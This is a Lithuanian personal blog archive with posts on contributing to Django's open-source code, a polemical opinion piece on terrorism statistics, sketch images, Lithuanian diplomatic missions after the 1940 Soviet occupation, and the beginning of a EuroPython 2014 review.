Tačiau aš vis tiek rekomenduočiau Django. Dėl vienos paprastos priežasties. Dokumentacija. Jie turi turbūt vieną iš geriausią dokumentacijų. Bet kokio programavimo projekto. Ar tai būtų komercinis, ar atviro kodo.<br />
<br />
Tas pats ir su pradėjimu užsiminėt atviro kodo veikla. Django dokumentacija valdo. Joje yra apmokymas (<i>turorial'as</i>), kaip dirbti prie Django kodo bazės.<br />
<br />
Taip. Pažingsninis apmokymas.<br />
<br />
Tai antra nuoroda sąraše. Pirma yra bendrinis dokumentacijos puslapis.<br />
<br />
Aš tą apmokymą rekomenduoju perskaityti ir įvykdyti visiems, norintiems pradėti dirbti prie atviro kodo projektų, bet vis nepradedantiems, nes kažkaip neaišku, nei kaip čia pradėti, nei ko griebtis.<br />
<br />
Net jeigu ir neketina dirbti prie Django. O gal net jeigu ir neketinate dirbti su Python iš vis.<br />
<br />
Sekančios nuorodos.<br />
<br />
Trečia yra Django Trac užduočių valdymo sistema. Ale Redmine. Ale Bugzilla. Ale Asana. Ar kas dabar ant bangos.<br />
<br />
Dashboard. Čia yra tiek greitos nuorodos į tam tikrus django trac filtrus (tarkim, easy tickets), tiek šiokios tokios ataskaitos apie Django kodo progresą netolimoje praeityje.<br />
<br />
Paskutinė nuoroda yra pakankamai sunkiai surandama. Tai yra Django Jenkins sistema. Ten galima pažiūrėti visokias nuolatinės integracijos ataskaitas. Tokias kaip kodo bazės padengimas testais. Prie šitos ataskaitos, beje, grįšiu savo istorijoje.<br />
<b><br />Django kodo sprintas: aš</b><br />
<br />
Kalbant apie istoriją.<br />
<br />
EuroPython 2014 metu aš prisijungiau prie Django sprinto. Pirma užduotis, kurią apsiėmiau, tai patobulinti dokumentaciją. Ji man buvo parekomenduota vieno Django <i>core</i> programuotojų.<br />
<br />
Susikūriau Django užduočių sistemoje Trac užduotį. Parašiau ten kelis kažkokius sakinius. Žinot, pagal visą Langlų [1] kalbos tradiciją. Kiekvienas doras Langlų ekspertas posakį "Nepūsk arabų" verstų į "Don't blow arabians" ir drąsiai naudotų jį kalbėdamas su anglakalbiu.<br />
<br />
Sukūriau prašymą įtraukti mano pakeitimus į einamą Django kodo versiją. Nu gerai -- sukūriau <i>pull request'ą į masterį</i>.<br />
<br />
[1] <a href="https://eglemarkeviciute.wordpress.com/2015/04/09/langlu-kalba-weird-sounding-lithuanian-proverbsnsayings/">https://eglemarkeviciute.wordpress.com/2015/04/09/langlu-kalba-weird-sounding-lithuanian-proverbsnsayings/</a><br />
<br />
Tada. Tada. Kažkas paėmė tą mano <i>pull request'ą</i>. Pataisė mano pagal Langlų notaciją parašytus angliškus sakinius į suprantamus angliškus sakinius. Parašė man: "Ačiū -- gerai padirbėjai". Taip ir neišsiaiškinau ar ironiškai, ar ne. Ir įliejo realiai savo -- o ne mano -- tekstą į <i>master</i> kodo atšaką.<br />
<br />
Tai dabar <span style="font-family: "Courier New",Courier,monospace;">git blame</span> ten rodo to kito programuotojo inicialus.<br />
<br />
Supratau, kad dokumentaciją rašyti dar ne su mano įgūdžiais. Dėl to pradėjau taisyti tikro kodą.<br />
<br />
Susiradau Django Trac paprastą klaidą. Kažkas apie <span style="font-family: "Courier New",Courier,monospace;">django.forms.ImageField</span>. Atsižymėjau, kad aš prie jos dirbu. Pasirašiau unit testą, kuris nepraeina. Pataisiau kodą. Testas praeina. Valio! Sukūriau prašymą įlieti mano kodą. Kažkas iš turinčių teises, pirma pasakė: "nu, nu, nu -- pirma suspausk <i>commit'us</i> į vieną, o tik po to kurk <i>pull request'ą</i>". Tada pats suspaudė mano atnaujinimus į vieną ir įkėlė mano kodą į Django <i>master</i>.<br />
<br />
<b>Suspausti atnaujinimus į vieną</b><br />
<br />
Kartais atviro kodo projektuose (ir netik) yra reikalavimai, kad į <i>master</i> giją kiekvienas funkcinis atnaujinimas būtų įliejamas kaip vienas <i>commit'as</i>, o ne N <i>commit'ų</i>.<br />
<br />
A) Taip lengviau sekti pakeitimus<br />
B) Taip lengviau atstatyti seną versiją<br />
<br />
Norintys žinoti kaip tai padaryti, pasiieškokite <span style="font-family: "Courier New",Courier,monospace;">git rebase --interactive</span>.<br />
<br />
<b>Bitcoin</b><br />
<br />
Kaip ir minėjau, mano atnaujinimas buvo įkeltas į Django kodo bazė.<br />
<br />
Ir gavau bitkoinų. Nes yra toks projektas kaip tip4commit. Kur kažkas gali aukoti bitkoinus atviro kodo projektams. O jau tada tas tip4commit paskirsto visiems dirbantiems prie to projekto.<br />
<br />
[2] <a href="https://tip4commit.com/">https://tip4commit.com/</a><br />
<br />
Taigi, aš gavau nulis kablelis nulis nulisnulisnulislislisnulis N bitkoinų. Bet jų man tas tip4commit portalas neleidžia išsiimti. Nes reikia pasiekti kažkokią minimalią ribą. Minimalų kiekį. Kada jau leidžia išsiimti.<br />
<br />
Čia reikia priminti, kad buvo gūdūs 2014 metai kai visos kriptovaliutos buvo dar ant bangos. Pvz.: Login 2014 konferencijoje buvo daug pranešimų apie kriptovaliutas. Šiemet įtariu bus viso 0 pranešimų.<br />
<br />
Taip pat, reikia paminėti, kad pats tip4commit nėra vertinamas vienareikšmiškai. Kažkuri dalis projektų nenori būti su juo asocijuojami. Plius, yra įtarimų, kad pats projektas yra arba nelegalus, arba ant legalumo ribos. Ir dar kai kurie jį kaltina piniginėmis machinacijomis. Nes projekto savininkai gali būti, kad pasisavina dalį paaukotų pseudo-pinigų. Kas būtų visiškai neįtikėtina, nes kur gi girdėta, kad bet koks projektas susietas su bitkoinais būtų neskaidrus.<br />
<br />
Šitie faktai, aišku, man visiškai nesutrukdė, nes aš apie juos tada dar visiškai nežinojau.<br />
<br />
Taigi, aš ale gavau tų bitkoinų ir nusprendžiau, kad man, kaip kompiuterastui būtų į naudą su jais pasižaisti ir susipažinti iš techninės pusės.<br />
<br />
Tai aš buvo sugalvojęs, kad man reikia kažkaip gauti ten tų bitkoinų ir tip4commit būtų puikus būdas.<br />
<br />
<b>Turtėjimo planas</b><br />
<br />
Taigi, prieš pradėdamas turtėti, aš ne tik kvailai neišsiaiškinau projekto skaidrumo. Tuo pačiu aš dariau klaidingą prielaidą apie patį bitkoinų dalinimo algoritmą.<br />
<br />
Aš dariau prielaidą, kad bitkoinus duoda pagal kodo atnaujinimo eilučių skaičių. O pasirodo, kad duoda tiesiog pagal <i>commit'ų</i> skaičių.<br />
<br />
Remdamasis savo kvaila prielaida aš sugalvojau, kaip greitai praturtėti. Man tiesiog reikia prirašyti daug kodo.<br />
<br />
O kur šiek tiek pro pirštus yra žvelgiama į logikos dublikavimą?<br />
<br />
<b>Turtėjimo planas: Unit testai</b><br />
<br />
Unit testai. Čia žinoma filosofinis klausimas, bet rašant unit testus lyg ir galima dublikuoti eilutes. Man asmeniškai patinka, kai atsidarai unit testo kodo ir pačioje testo funkcijoje ar metode matai viską:<br />
<br />
- Pradines sąlygų sukūrimas<br />
- Testuojamos dalies paleidimas<br />
- Visos <span style="font-family: "Courier New",Courier,monospace;">assertFoo</span> komandos<br />
<br />
Dėl to, jeigu pavyzdžiui, turi 4 testus, kurie testuoja tą patį funkcionalumą, tie 4 testai turės labai panašų kodą, kurį būtų galima vadinti kodo dublikavimu. Ir tarsi reiktų iškelti į atskirą metodą. Bet tada testai taps mažiau suprantami. Trumpai, filosofinis klausimas.<br />
<br />
Kaip jau minėjau, Django turi savo Jenkins serverį. Kuris prie visa ko leidžia testus ir generuoja kodo padengimo testais ataskaitas.<br />
<br />
Taigi, aš susiradau <span style="font-family: "Courier New",Courier,monospace;">django.contrib.admin</span> <i>Meta</i> klasės opcijų validacinį modulį, kurio padengimas testais buvo labai mažas ir pradėjau jam rašyti unit testus.<br />
<br />
<b>Rašiau, rašiau</b><br />
<br />
Rašiau, rašiau. Prirašiau kelis šimtus eilučių. Pamiršau aš tuos ir bitkoinus. Neberūpėjo jau man jie. Nes radau kitą skaičiuką. Ant kurio galima, kaip ant heroino kabliuotis. Tą procentą, kuris rodo kiek failas yra padengtas testais. Buvo 63% dabar yra 65%. Dar, dar reikia dar procentų.<br />
<br />
Berašydamas turėjau nemažai pasiknaisioti po Django: tiek <span style="font-family: "Courier New",Courier,monospace;">.contrib.admin</span> tiek pačią šerdį (taip verčiu <i>core</i>. Šerdis), kad suprast, kas per velnias dedasi.<br />
<br />
<b>Rašiau be reikalo</b><br />
<br />
Ir besiknaisiodamas radau įdomią kodo vietą. Ji teigė, kad tas modulis, kuriam unit testus aš rašau, bus apleistas (<i>depreciated</i>) ir ištrintas. Taigi nebeliko prasmės rašyti testus.<br />
<br />
Beje, jau <i>master</i> gijoje jis yra ištrintas.<br />
<br />
<b>Bet</b><br />
<br />
Bet. Už tai berašydamas testus, aš radau vieną tikrą klaidą.<br />
<br />
Kodas turėtų mesti <span style="font-family: "Courier New",Courier,monospace;">ValueError</span>. Jis ir meta <span style="font-family: "Courier New",Courier,monospace;">ValueError</span>. Bet meta ne dėl to, kad Django kodas prašo mesti <span style="font-family: "Courier New",Courier,monospace;">ValueError</span>.<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">ValueError</span> yra metamas giliau. <span style="font-family: "Courier New",Courier,monospace;">%</span> metodas gauna per didelį kiekį parametrų ir lūžta su <span style="font-family: "Courier New",Courier,monospace;">ValueError</span>. Taigi turime <span style="font-family: "Courier New",Courier,monospace;">ValueError</span> su blogu <span style="font-family: "Courier New",Courier,monospace;">message</span> atributu. Ir <i>stack trace</i> gauna papildomą <i>frame'ą</i>.<br />
<br />
<b>Kodo atnaujinimas</b><br />
<br />
Atsimenate atnaujinimą.<br />
<br />
Taigi, aš susikūriau sau užduotį pataisyti tą vietą. Ir prirašiau realiame kode tą vieną raidę. Dabar Django kodo bazė yra truputį geresnė, nes aš susigalvojau kvailystę.<br />
<br />
<b>Kodo atnaujinimas: biurokratija</b><br />
<br />
Kad būti visiškai sąžiningu, tai čia yra visas kodo pokytis. Viena eilutė, keičianti Django kodą.<br />
<br />
Visa kita -- biurokratija. Bet, mano manymu, svarbi ir reikalinga biurokratija. Pranešimas <i>Release Notes</i>. Ir, žinoma, unit testas.<br />
<br />
<b>Ačiū</b><br />
<br />
Tai va. Istorijos pabaiga. Čia buvo mažas žvilgsnis į mano dalį atviro kodo veiklos.<br />
<br />
Tikiuosi, ši istorija gali būti kaip iliustracija, kad prisidėjimas prie atviro kodo projektų neprivalo būti kažkoks įspūdingas dydžiu ir/ar vedinas kilnių tikslų ir/ar reikalaujantis nežmoniškų pastangų.<br />
<br />
Tai tiek. Ačiū, kad išklausėte. Jeigu turite klausimų, mielai į juos atsakysiu.Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com0tag:blogger.com,1999:blog-1632656242730180910.post-32643095424372375512015-01-09T01:44:00.005+02:002015-01-09T01:44:42.926+02:00Apie vieną taikos kultūros statistikąKad mes pilnai europiečiai rodo ne tik Euro įsivedimas, bet ir tas, kad kaip ir visoje likusioje vakarų civilizacijoje, taip ir Lietuvoje yra gyvas galas europietiškų kairiųjų, užaugintų ant Noam Chomsky (aš nesakau, kad Chomsky ir blogai, beje) ir pan. Žinoma, pilna ir tų senovinių komunistinių kairiųjų, bet va internetuose, manau, daugiau naujųjų -- europietiškųjų (neskaitant botų, kas be ko).<br /><br />Tai va šiomis dienom tie europietiški (kaip ir likusioje vakarų civilizacijoje) pradėjo gana vokaliai rodyti savo priklausymą pro-religinių-žudymų judėjimui. Tas jų judėjimas pasireiškia krikščionybės ir judaizmo viešu išjuokimu ir žeminimu, bei gilia pagarba ir supratingumu islamo religijai. Dar jie žinomi kaip ne islamofobai. Neretai koreliuoja su Putino rėžimo apologetais. Ypač su pastaraisiais gerai sutaria klausimu, kad dėl visko kalta JAV, ar bent jau vakarų civilizacija.<br /><br />Vienas iš įdomesnių anų argumentų man asmeniškai yra tas, kai jie kur komentuodami numeta teiginį, kad: skirstant pagal religijas, daugiausia žūstančių nuo terorizmo atakų išpažįsta islamo religiją <a href="http://fas.org/irp/threat/nctc2011.pdf" target="_blank">[1]</a>. Atseit, ko jūs čia myžat, va anie vargšai iš tos anos kultūros tai nukenčia žymiai labiau negu mes.<br /><br />Yra melas, didelis melas ir statistika. Čia vienas iš tų atveju. Tuo pačiu parodantis žmogžudžių apologetų tam tikrą mastymą. Nagrinėjant teroristų atakas susikoncentruojama į aukas, o ne į vykdytojus. Taip -- daugiausia žuvusių teroristinėse atakose yra musulmonai. Bet spėkite, kokios religijos savižudžiai sprogdintojai sprogdina musulmonus. Taip -- islamo. Čia kai dėl nusikaltimo kaltinama auka, o ne budelis.<br /><br />Panašiai, kaip kad seksualinių nusikaltimų statistikoje absoliutiniu skaičiumi yra išprievartaujama daugiau vyrų nei moterų (Jeigu atrodo netiesa, tai atsakymas vienas žodis: kalėjimas). Tai tokią statistiką išgirdus atrodo: o vargšai vyrai. Moterys galėtų ir patylėti, nes palyginus su vyrais, tai jų kančios tik gėlytės. Bet jeigu kaltinsi vis dėl to nusikaltimo vykdytoją, o ne auką, tai pamatysi, kad absoliuti dauguma prievartautojų yra vyrai. O visų atvejų, kai prievartauja moterys, aprašymai atsiduria naujienų portalų gyvenimo būdo skyriuose. Šalia straipsnių apie kokią nors įžymybę su miniatiūriniu bikiniu.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-R-svcDWJkCI/VK8WIJK7nAI/AAAAAAAABBs/5NbcXvXv2xI/s1600/je_suis_charlie.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-R-svcDWJkCI/VK8WIJK7nAI/AAAAAAAABBs/5NbcXvXv2xI/s1600/je_suis_charlie.png" height="320" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-QNcV-NHIAnE/VK8WIJmROQI/AAAAAAAABBo/dIIZePmPXX4/s1600/hebdo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-QNcV-NHIAnE/VK8WIJmROQI/AAAAAAAABBo/dIIZePmPXX4/s1600/hebdo.jpg" height="320" width="249" /></a></div>
<span style="font-size: x-small;">[1] <a href="http://fas.org/irp/threat/nctc2011.pdf">http://fas.org/irp/threat/nctc2011.pdf</a></span>Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com2tag:blogger.com,1999:blog-1632656242730180910.post-18619111517372297862015-01-09T01:25:00.001+02:002015-01-09T01:25:17.164+02:00Aš prastai piešiu #3Buvau darbinėje kelionėje. Gera kelionė buvo. Šauni šalis ir daug naudingos patirties įgavau. Dargi buvo po ranka sąsiuvinis ir tušinukas.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-ocpX2w8tHv0/VK8REQlZRRI/AAAAAAAABAA/YojgThjpULc/s1600/0002.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-ocpX2w8tHv0/VK8REQlZRRI/AAAAAAAABAA/YojgThjpULc/s1600/0002.jpg" height="320" width="174" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-uVPkpQaiJXo/VK8REM4FePI/AAAAAAAABAE/XPX6DDFKtwM/s1600/0003.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-uVPkpQaiJXo/VK8REM4FePI/AAAAAAAABAE/XPX6DDFKtwM/s1600/0003.jpg" height="320" width="264" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-yHFT08NoJRQ/VK8RFODva_I/AAAAAAAABAk/lLk35jaa0Z8/s1600/0004.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-yHFT08NoJRQ/VK8RFODva_I/AAAAAAAABAk/lLk35jaa0Z8/s1600/0004.jpg" height="320" width="266" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-6zYbaCYL1UQ/VK8RFTjXpyI/AAAAAAAABAM/sB1sn1lihxI/s1600/0005.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-6zYbaCYL1UQ/VK8RFTjXpyI/AAAAAAAABAM/sB1sn1lihxI/s1600/0005.jpg" height="320" width="195" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-0pJyec4-0GU/VK8RFx9cyMI/AAAAAAAABAg/Wnd1DNxDL-8/s1600/0006.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-0pJyec4-0GU/VK8RFx9cyMI/AAAAAAAABAg/Wnd1DNxDL-8/s1600/0006.jpg" height="320" width="250" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-2XX4p_qQ2iU/VK8RGH5pyUI/AAAAAAAABAc/bssls-OopNw/s1600/0007.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-2XX4p_qQ2iU/VK8RGH5pyUI/AAAAAAAABAc/bssls-OopNw/s1600/0007.jpg" height="320" width="180" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-RzBzaWdWSY0/VK8RHyOR_SI/AAAAAAAABA4/hIuLLnwT9Bg/s1600/0008.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-RzBzaWdWSY0/VK8RHyOR_SI/AAAAAAAABA4/hIuLLnwT9Bg/s1600/0008.jpg" height="320" width="206" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/---tyKeWah1k/VK8RIIqVPdI/AAAAAAAABBA/xx7B_rpKsmc/s1600/0009.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/---tyKeWah1k/VK8RIIqVPdI/AAAAAAAABBA/xx7B_rpKsmc/s1600/0009.jpg" height="255" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-Yn3ciCuRFNk/VK8RIEKzrXI/AAAAAAAABA8/CVOTSeuS2kg/s1600/0010.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-Yn3ciCuRFNk/VK8RIEKzrXI/AAAAAAAABA8/CVOTSeuS2kg/s1600/0010.jpg" height="320" width="275" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-q4OWqLkn5bQ/VK8RInULgHI/AAAAAAAABBU/RJzqyjVYONg/s1600/0011.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-q4OWqLkn5bQ/VK8RInULgHI/AAAAAAAABBU/RJzqyjVYONg/s1600/0011.jpg" height="320" width="220" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-jWas_Mcasl4/VK8RIz0knII/AAAAAAAABBI/8ljkqrVVNfU/s1600/0012.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-jWas_Mcasl4/VK8RIz0knII/AAAAAAAABBI/8ljkqrVVNfU/s1600/0012.jpg" height="320" width="227" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-dIBRQocP9-8/VK8REsBFpkI/AAAAAAAABAI/CEdy4lyLeZo/s1600/0001.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-dIBRQocP9-8/VK8REsBFpkI/AAAAAAAABAI/CEdy4lyLeZo/s1600/0001.jpg" height="320" width="156" /></a></div>
Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com0tag:blogger.com,1999:blog-1632656242730180910.post-87930804041318723462014-10-16T00:43:00.000+03:002014-10-16T00:43:06.164+03:00Kas nors gero apie JAV: ambasados po okupacijosSugalvojau, kad reikia ką nors teigiamo parašyti apie JAV. Nes, manu, kad tuoj
vatnikų kanalais [1] prasidės gausus šūdo pylimas ant vakarų šalių ir vakarų
kultūros. Dėl to norisi šiek tiek kompensuoti ir parašyti, ką nors gražaus
apie JAV. To aktyvumo laukiu, nes kaip kad prognozavo R.Sadauskas <a href="http://druskininkunaujienos.blogspot.com/2014/10/kodel-jiems-prireike-lauztis-i.html" target="_blank">[2]</a> yra
tikimybė, jog Rusija baigė vieną Ukrainos karinio užpuolimo etapą ir pereina į
kitą:
<br />
<blockquote class="tr_bq">
Dabar Rusija skuba taisyti šio karo pasekmes – pašlijusius santykius su
Vakarais.
</blockquote>
Tai į klausimą: "kodėl mes turėtume pamiršti, kad Rusija okupavo Krymą,
numušė civilių lėktuvą, nužudė tūkstančius žmonių ir sužlugdė ateitį
milijonams?" visi putinofilai atsakinės maždaug taip: "O tai kaip JAV
užpuolė Afganistaną; kaip Snowden'as šnipinėjo visus; kaip JAV patys
susprogdino bokštus dvynius, kad šiemet galėtų užpulti ISIS; kaip JAV
sufalsifikavo nusileidimą Mėnulyje, nes taip siekė sukelti Maidaną; kaip
Norvegijoje JAV grobia lietuvių vaikus ir atidavinėja lesbietės ir gėjaus
porai? Aaa? Ir iš viso Krymas jau kokius 20-imt tūkstančių metų visą laiką priklausė
Rusijai ir ten vien tik rusai gyveno. Ir iš vis ten ne Rusija okupavo, o JAV
sukėlė visą šitą konfliktą.".
<br />
<br />
Tai va. Istorija. 1940-aisiais Sovietų Sąjunga okupavo Lietuvą. Lietuva
nepriklausomybę atgavo 1990-aisiais. Tai tarsi kaip ir tuos 50-imt metų
Lietuvos nebuvo. Netiesa. Sovietai okupavo Lietuvą ir beveik visas valdžios
institucijas apstatė savais komunistais. Tas žodis "beveik" čia svarbus. Jie negalėjo pakeisti visų visų
institucijų darbuotojų. Nes yra toks dalykas, kaip diplomatinė tarnyba.
Ambasados ir panašiai.<br />
<br />
Kažkada man tai buvo didelis maindfakas (taisyklingai turbūt būtų: aš buvau
didžiai nustebintas idėjos), kai suvokiau, kad taigi jo -- jokia agresorė
negali visiškai absoliučiai okupuoti šalies. Nebent okupuoja visą žemės
planetą. Kitaip sakant, visas kitas šalis.
<br />
<br />
Pažiūrėkime, kaip sekėsi Lietuvos diplomatinėms tarnyboms po okupacijos.
<br />
<br />
<b>Italija</b> (oficialiai pastatą atidavė 1945, bet realiai 1940): Pripažino Lietuvos inkorporavimą į Sovietų Sąjungą ir atidavė ambasados
pastatą. <a href="http://www.it.mfa.lt/index.php?2008325242" target="_blank">[3]</a>
<br />
<br />
<b>Prancūzija</b> (1940):
Pripažino Lietuvos inkorporavimą į Sovietų Sąjungą ir atidavė ambasados
pastatą. <a href="http://www.delfi.lt/news/daily/lithuania/baigta-lietuvos-ambasados-paryziuje-pastato-istorija.d?id=2260000" target="_blank">[4]</a>
<br />
<br />
<b>Švedija</b> (1940):
Švedija pripažino Baltijos šalių inkorporavimą į SSRS ir atidavė sovietams
Baltijos šalių auksą. <a href="http://genocid.lt/Leidyba/7/laurynas7.htm" target="_blank">[5]</a> Gerai, kad šito fakto nežino visi, kurie verkia, kad
Lietuvą valdo skandinavų bankai, o tai verktų dar labiau.
<br />
<br />
<b>Didžioji Britanija</b> (1942):
Baltijos šalys išnyko iš diplomatinio sąrašo, o Baltijos šalių diplomatai tapo
asmenimis, kurie daugiau nebeįeina į diplomatinį sąrašą, bet vis dar
pripažįstami Didžiosios Britanijos vyriausybės kaip asmenys, turintys tam
tikrą diplomatinį statusą. <a href="http://genocid.lt/Leidyba/7/laurynas7.htm" target="_blank">[5]</a>
<br />
<br />
<b>Šveicarija</b> (1946):
Šveicarija sustabdė Lietuvos pasiuntinybės veiklą. <a href="http://lt.wikipedia.org/wiki/Lietuvos_diplomatin%C4%97_tarnyba" target="_blank">[6]</a>
<br />
<br />
<b>Argentina</b> (1946):
Argentinos vyriausybė pasidavė sovietų spaudimui ir suspendavo
diplomatinius santykius su Pabaltijo kraštų legaliais atstovais. <a href="http://www.aidai.us/index.php?option=com_content&task=view&id=1345&Itemid=150" target="_blank">[7]</a> <a href="http://www.delfi.lt/news/daily/emigrants/montevidejuje-atidarytas-lietuvos-garbes-konsulatas.d?id=59827035" target="_blank">[8]</a>
<br />
<br />
Nelabai, kaip sekėsi Lietuvos Diplomatiniai tarnybai. Būtų sekęsi dar
prasčiau, jeigu ne dvi šalys: <b>Vatikanas</b> (Šventasis sostas) <a href="https://va.mfa.lt/va/lt/dvisalis-bendradarbiavimas/lietuva-ir-sventasis-sostas" target="_blank">[9]</a> ir
<b>JAV</b> <a href="https://usa.mfa.lt/usa/lt/atstovybe/apie-ambasada" target="_blank">[10]</a>.
<br />
<br />
1946 liepos 23 d. JAV valstybės sekretoriaus pareigas einantis S. Welles
pareiškė savo šalies poziciją, kad JAV nepripažįsta Sovietų Sąjungos
okupacijos trijose Baltijos valstybėse, ir pažymėjo, kad Lietuvos, Latvijos ir
Estijos diplomatinės ir konsulinės įstaigos galės tęsti savo veiklą. <a href="http://genocid.lt/Leidyba/6/laurynas6.htm" target="_blank">[11]</a><br />
<br />
Taip, kai Lietuvai atėjo sunkus laikas JAV neapleido mūsų šalies. Ji jau
praėjo "Ar neapšiksi mūsų, kai bus proga" tęstą. Ir jį praėjo aukštais
balais. Tai yra viena iš priežasčių, kodėl aš laikau, kad Lietuva turi 4-is
draugus, kuriais daugmaž galima pasitikėti: Latvija, Estija, Lenkija ir JAV.
<br />
<br />
<span style="font-size: x-small;">[1] Nežinau, ar teisingai naudoju žodį "vatnikas"
</span><br />
<span style="font-size: x-small;">[2] <a href="http://druskininkunaujienos.blogspot.com/2014/10/kodel-jiems-prireike-lauztis-i.html" target="_blank">http://druskininkunaujienos.blogspot.com/2014/10/kodel-jiems-prireike-lauztis-i.html</a></span><br />
<span style="font-size: x-small;">[3] <a href="http://www.it.mfa.lt/index.php?2008325242" target="_blank">http://www.it.mfa.lt/index.php?2008325242</a></span><br />
<span style="font-size: x-small;">[4] <a href="http://www.delfi.lt/news/daily/lithuania/baigta-lietuvos-ambasados-paryziuje-pastato-istorija.d?id=2260000">http://www.delfi.lt/news/daily/lithuania/baigta-lietuvos-ambasados-paryziuje-pastato-istorija.d?id=2260000</a></span>
<br />
<span style="font-size: x-small;">[5] <a href="http://genocid.lt/Leidyba/7/laurynas7.htm">http://genocid.lt/Leidyba/7/laurynas7.htm</a></span>
<br />
<span style="font-size: x-small;">[6] <a href="http://lt.wikipedia.org/wiki/Lietuvos_diplomatin%C4%97_tarnyba" target="_blank">http://lt.wikipedia.org/wiki/Lietuvos_diplomatin%C4%97_tarnyba</a></span><br />
<span style="font-size: x-small;">[7] <a href="http://www.aidai.us/index.php?option=com_content&task=view&id=1345&Itemid=150" target="_blank">http://www.aidai.us/index.php?option=com_content&task=view&id=1345&Itemid=150</a></span><br />
<span style="font-size: x-small;">[8] <a href="http://www.delfi.lt/news/daily/emigrants/montevidejuje-atidarytas-lietuvos-garbes-konsulatas.d?id=59827035" target="_blank">http://www.delfi.lt/news/daily/emigrants/montevidejuje-atidarytas-lietuvos-garbes-konsulatas.d?id=59827035</a></span><br />
<span style="font-size: x-small;">[9] <a href="https://va.mfa.lt/va/lt/dvisalis-bendradarbiavimas/lietuva-ir-sventasis-sostas" target="_blank">https://va.mfa.lt/va/lt/dvisalis-bendradarbiavimas/lietuva-ir-sventasis-sostas</a></span><br />
<span style="font-size: x-small;">[10] <a href="https://usa.mfa.lt/usa/lt/atstovybe/apie-ambasada">https://usa.mfa.lt/usa/lt/atstovybe/apie-ambasada</a></span>
<br />
<span style="font-size: x-small;">[11] <a href="http://genocid.lt/Leidyba/6/laurynas6.htm" target="_blank">http://genocid.lt/Leidyba/6/laurynas6.htm</a></span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">Taip, didžioji dalis mano "istorinių" šaltinių yra lyg tarp kitko paminėti
faktai delfyje.
</span>Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com5tag:blogger.com,1999:blog-1632656242730180910.post-47630360195867806562014-08-13T00:39:00.001+03:002014-08-13T00:39:50.849+03:00Europython 2014 apžvalga sau2014 metų liepos 21-27 dienomis praleidau Berlyne, kur vyko EuroPython 2014 <a href="https://ep2014.europython.eu/en/" target="_blank">[1]</a> konferencija. Visos konferencijos metu, remdamasis savo magistro studijų patirtimi <a href="http://petraszd.blogspot.com/2010/06/magistrantura-epilogas.html" target="_blank">[2]</a>, viską konspektavau į užrašų knygutę. Tai iš esmės įrašas skirtas man pačiam. Tam, kad geriau viską atsiminčiau. Bet gal tai bus naudinga ir kitiems (Tikriausiai nebus naudinga niekam). Perspėjimas: reikia būti Python programuotoju, norint bent kažką suprasti šitose sapalionėse.<br />
<br />
Konspektavau, aišku, į kažkokią sporto klubo motyvacinę knygutę, kur reikia rašyti, kaip jauteisi, ką valgei, kiek šikai ir pan. Visiems konspektams tas suteikė keistą foną. Ir šiokią tokią sąžinės graužatį visos konferencijos metu. Kai visiškai nepavyko išlaikyti sportinio rėžimo. Nu, nebent jeigu nedamiegojimą ir besaikį šokoladinių batonėlių, kavos ir alaus vartojimą galima laikyti sportiniu rėžimu.<br />
Tai va, kalbos, kurias aš pats išklausiau gyvai:<br />
<br />
<b>Keynote: One year of Snowden, what's next?</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/118/">https://ep2014.europython.eu/en/schedule/sessions/118/</a><br />
<br />
